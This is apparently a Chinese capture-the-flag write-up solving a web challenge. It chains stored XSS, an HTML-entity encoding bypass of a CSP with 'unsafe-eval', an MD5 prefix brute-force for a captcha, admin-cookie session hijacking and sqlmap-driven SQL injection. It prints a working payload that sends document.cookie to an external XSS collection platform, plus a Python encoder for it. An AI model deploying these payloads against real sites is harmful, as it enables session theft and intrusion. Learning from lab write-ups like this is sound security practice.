文章撰写参考链接,原大佬博客
本文是笔者在学习大佬博客基础上写成的(我太菜了)
这道题呢对小白一点儿也不友好
反正我是打了五个小时,最后发现payload没有加引号(骂骂咧咧)
言归正传,我们打开环境,发现是一个网站,有投稿和反馈功能

就是说我们可以投稿,然后点击审核,管理员就会来到我们的页面,审核我们的投稿
这样的话我们可以构造恶意代码,让管理员进去,从而窃取管理员的cookie,进入后台为所欲为(滑稽)
好,我们看一下它的投稿页面和审核页面


嗯,xss没跑了
我们上平台,平台链接是
buu的xss平台
你需要注册一个账号,然后新建项目,这块不说了,就跟安装软件一直点下一步一样简单。。。

OK,平台会自动帮我们生成xss代码,自己可以研究一下那一摞代码都是干嘛的,很有意思哟
OK,我们回到投稿页面,来一个最简单的脚本实验一下

<script>alert(1)</script>

提示我们上传成功

我们点击那个页面,但是并没有弹窗,我们查看页面源代码,好像发现了不得了的事情

没错,我们输入的英文小括号被换成中文的了,说明后端有保护机制,不过虽然头大,我们却可以用markup编码的方式绕过(就是我们喜闻乐见的&#编码)

这个编码就是&#后面加上我们的ascii码
链接如下:
再看之前的源代码

它有个CSP内容安全策略的存在,CSP内容安全策略详解,在此不再赘述
对,它开启了'unsafe-eval',所以我们可以用eval来执行我们的代码
好,我们的payload为

<svg><script>eval("xss")</script>

而xss就是我们要填充的恶意代码,如下

(function(){window.location.href=
'http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='
+
escape((function(){try{return document.location.href}catch(e){return''}})())
+
'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())
+
'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())
+
'&opener='
+
escape((function(){try{return(window.opener&&window.opener.location.href)
?window.opener.location.href:''}catch(e){return''}})());})();

注意哈,我是为了大家阅读代码才用换行符分开的,大家中间不要掺杂换行符否则xss不会成功的

还有一点,就是上图的id那里要设置成你的项目的id,在项目代码里有
然后接下来我们要做的就是把上述内容给它来个Markup编码,但是手工emm几乎不可能实现除非你是肝帝
接下来上python脚本好了(版本python2.7)

payload_end = ''
payload = "(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&location='
+escape((function(){try{return document.location.href}catch(e){return''}})())+
'&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())
+'&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())
+'&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}
catch(e){return''}})());})();"
for i in payload:
    payload_end += "&#" + str(ord(i))
payload_final = "<svg><script>eval&#40&#34" + payload_end + "&#34&#41</script>"
print payload_final

同样是便于阅读,再此强调一下哈,中间千万别要换行符,因为换行符会占一个ascii码的......
脚本运行效果如下:

再次提醒:前文中我省事儿用的是别的大佬的payload,这个做法可以,但是不要忘记改id哦~
当然......你在你的项目里复制代码最好不过了
然后我们提交这段恶意代码,显示提交成功,这个时候我们的任务已经完成一半了,接下来要做的是反馈页面,然后让管理员访问我们的提交页面从而偷取它的cookie 馋了,想吃曲奇饼干了
好,我们进入反馈页面

它还需要验证码,给大家附上一个链接,讲的是hash碰撞与生日攻击,蛮有意思的,虽然我没看完(逃)
哈希碰撞与生日攻击学习参考链接
好,由于是前六位,我们需要的工作量并不是特别大,最起码我们知道了循环的范围是从6位数开始,额,先到1k我循环试试吧,不过经过我的多次实验发现1kw足够了,下面是碰撞md5的python脚本(python大法好)

import hashlib
for x in range(100000,10000000):
    md5_hack = hashlib.md5(str(x)).hexdigest()
    if md5_hack[0:6] == "1d5327" :
        print x

上述代码中的"1d5327"就是我们反馈的时候提示我们的验证码,我们通过碰撞的方式来得到原来的验证码
经过十几秒最终跑出来了

我们输入碰撞得来的密码,提示我们反馈成功

OK,我们去平台那里坐等管理员的cookie

OK,拿到cookie了,然后开始扫描康康管理员的后台登录界面
很简单,就是admin.php
我们进去之后
发现如下图:

提示我们不是管理员,没毛病吧,然后我们通过小插件来输入管理员的cookie,伪造管理员的身份进去就好啦

好,我们已经成功进入后台,出现了一个查询框框

嗯......sql注入没跑了
这个sql注入是最低级的sql注入了,没有防火墙,sqlmap一把梭即可,或者手工注入也很简单鸭
我直接附上注入的最后结果

如果大家对sql注入的赛题感兴趣,请在哔哩哔哩上搜索up主:yuyu-宇
这个是我的主页,我做了很多包括教学视频和刷题视频,都是sql注入方面的
如果文章内容哪里不对,还请哔哩哔哩私信联系我,蟹蟹大家!!